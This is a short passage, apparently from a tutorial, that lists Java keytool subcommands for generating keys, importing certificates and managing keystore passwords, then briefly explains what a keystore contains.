-genseckey Generate key
-gencert generates a certificate based on the certificate request
-importcert import certificate or certificate chain
-importpass import password
-importkeystore imports one or all entries from other keystores
-keypasswd changes the key password of the entry
-list lists the entries in the keystore
-printcert print certificate content
-printcertreq print the content of the certificate request
-printcrl print the contents of the CRL file
-storepasswd change the storage password of the keystore
Use "keytool -command_name -help" to get the usage of command_name
Theres a bit of data in the key-store, but for the most part it contains: Key entity-secret key or private key and paired public key (using asymmetric encryption) Trusted certificate entries-only public key.
Check the default certificate of cs, the password is 123456